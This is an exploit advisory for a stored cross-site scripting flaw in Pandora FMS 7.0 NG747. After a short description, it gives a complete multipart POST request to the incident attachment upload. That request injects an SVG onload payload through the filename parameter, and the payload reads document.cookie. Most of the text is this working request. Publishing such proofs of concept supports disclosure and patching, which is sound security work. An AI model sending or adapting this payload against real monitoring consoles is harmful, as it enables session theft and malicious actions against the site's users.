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# Exploit Title: PandoraFMS NG747 7.0 - 'filename' Persistent Cross-Site Scripting
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# Date: 2020-08-20
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# Exploit Author: Emre ÖVÜNÇ
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# Vendor Homepage: https://pandorafms.org/
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# Software Link: https://pandorafms.org/features/free-download-monitoring-software/
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# Version: 7.0NG747
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# Tested on: Windows/Linux/ISO
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# Link https://github.com/EmreOvunc/Pandora-FMS-7.0-NG-747-Stored-XSS
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# Description
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A stored cross-site scripting (XSS) in Pandora FMS 7.0 NG 747 can result in
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an attacker performing malicious actions to users who open a maliciously
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crafted link or third-party web page. (Workspace >> Issues >> List of
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issues >> Add - Attachment)
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# PoC
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To exploit vulnerability, someone could use a POST request to
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'/pandora_console/index.php' by manipulating 'filename' parameter in the
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request body to impact users who open a maliciously crafted link or
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third-party web page.
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POST /pandora_console/index.php?sec=workspace&sec2=operation/incidents/incident_detail&id=3&upload_file=1
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HTTP/1.1
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Host: [HOST]
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User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0)
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Gecko/20100101 Firefox/78.0
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
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Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3
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Accept-Encoding: gzip, deflate
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Content-Type: multipart/form-data;
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boundary=---------------------------188134206132629608391758747427
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Content-Length: 524
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DNT: 1
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Connection: close
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Cookie: PHPSESSID=3098fl65su4l237navvq6d5igs
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Upgrade-Insecure-Requests: 1
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-----------------------------188134206132629608391758747427
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Content-Disposition: form-data; name="userfile"; filename="\"><svg
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onload=alert(document.cookie)>.png"
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Content-Type: image/png
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"><svg onload=alert(1)>
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-----------------------------188134206132629608391758747427
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Content-Disposition: form-data; name="file_description"
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desc
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-----------------------------188134206132629608391758747427
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Content-Disposition: form-data; name="upload"
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Upload
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-----------------------------188134206132629608391758747427-- |